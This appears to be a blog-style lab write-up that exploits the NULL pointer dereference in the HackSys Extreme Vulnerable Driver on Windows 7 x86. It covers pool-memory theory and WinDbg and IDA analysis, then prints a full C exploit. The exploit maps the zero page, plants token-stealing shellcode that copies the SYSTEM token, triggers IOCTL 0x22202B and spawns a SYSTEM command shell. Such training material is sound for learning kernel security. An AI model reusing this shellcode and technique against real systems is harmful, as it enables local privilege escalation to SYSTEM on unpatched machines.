this and this articles are combined
Theory
Somy theory information taken from the above articles
At each bootup, the memory manager creates 2 memory pools (Paged Pool and NonPaged Pool)
- these are dynamically sized
- they are used for kernel-components to allocate system memory
- they start at a certain size (based on the physical memory in the system)
- the size of the pool can grow up to a maximum size (determined by the system at boot time)
- The paged pool can page out or can be lowered
- The paged pool consists of virtual memory that can be paged in and out of the system.
-
The NonPaged Pool cannot be paged out (used by drivers so they can be accessed at any Interrupt Request Level)
- The nonpaged pool consists of virtual memory addresses that are guaranteed to reside in physical memory as long as the corresponding kernel objects are allocated.
- To improve performance, systems with a single processor have three “paged pools”, and multiprocessor systems have five paged pools.
Same here, we’ll use Windows 7 x86. This can be exploited on Win 10 x32 as well, however starting with Win 8, Microsoft mitigated this vulnerability by making NULL page unavailable.
NULL Pointer Dereference
This time it’s NullPointerDereferenceIoctlHandler --> TriggerNullPointerDereference
function and it’s value 0x22202B
Same here, let’s start writing sploit:
Also got a good idea, which haven’t mentioned earlier: you can create shared folder between your hsot and virtual machine in Vbox and VMware (obviously) and avoid spending time of copy-pasting files when you compile it. You just need to open shared folder on vm.
Preparation part is always the same:
- run windbg
- run virutal machine
- open shared folder on vm (
Z:\kernel4\NullPoint\Release
in my case) to copy compiled file to the desktop - in windbg:
-
ed nt!Kd_Default_Mask 8
-
.sympath+ C:\Users\truebad0ur\Documents\Kernel
-
.reload /f
-
lm m HEV*
- check if out module is loaded
-
bp HEVD!TriggerNullPointerDereference
- break on out function
We broke, all’s okay
HEVD!TriggerNullPointerDereference:
a7d4abe0 6a10 push 10h
a7d4abe2 687882d4a7 push offset HEVD!__safe_se_handler_table+0x168 (a7d48278)
No check the code out in IDA
We see, that we call:
push 'kcaH' ; Tag
push 8 ; NumberOfBytes
push edi ; PoolType
call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
The tag of the allocated pool will be Hack
NonPagedPool = 0
So it’s 8 bytes of non-paged pool memory with the tag kcaH
We put a breakpoint on HEVD!TriggerNullPointerDereference+AE
Because there we can see
a7d4ac89 b8b0b0d0ba mov eax,0BAD0B0B0h
a7d4ac8e 394508 cmp dword ptr [ebp+8],eax
a7d4ac91 7527 jne HEVD!TriggerNullPointerDereference+0xda (a7d4acba)
Looks like it waits for BAD0B0B0 as input from the user
At the end of this function we have:
xor esi, esi
...
PAGE:00014CE9 push offset aTriggeringNull ; "[+] Triggering Null Pointer Dereference"...
PAGE:00014CEE call _DbgPrint
PAGE:00014CF3 pop ecx
PAGE:00014CF4 call dword ptr [esi+4]
We see that at the end [0+4] will be called –> something at the zero page
Put break on HEVD!TriggerNullPointerDereference+114
because a7d4acf4 ff5604 call dword ptr [esi+4]
If we step in we can see the following:
call dword ptr [esi+4] ds:0023:00000004=????????
a7d4acf4 ff5604 call dword ptr [esi+4]
kd> r esi
esi=00000000
kd> t
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******
We now need to allocate out shellcode there, so NtAllocateVirtualMemory will do it for us
I use code by ThunderJie because he has very cool things which I should also use :)
#include <stdio.h>
#include <Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
HANDLE hDevice = NULL;
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xAAAAAAAA;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
}
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x4) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
//__debugbreak();
printf("[+]Start to Create cmd...\n");
//CreateCmd();
system("cmd");
return 0;
}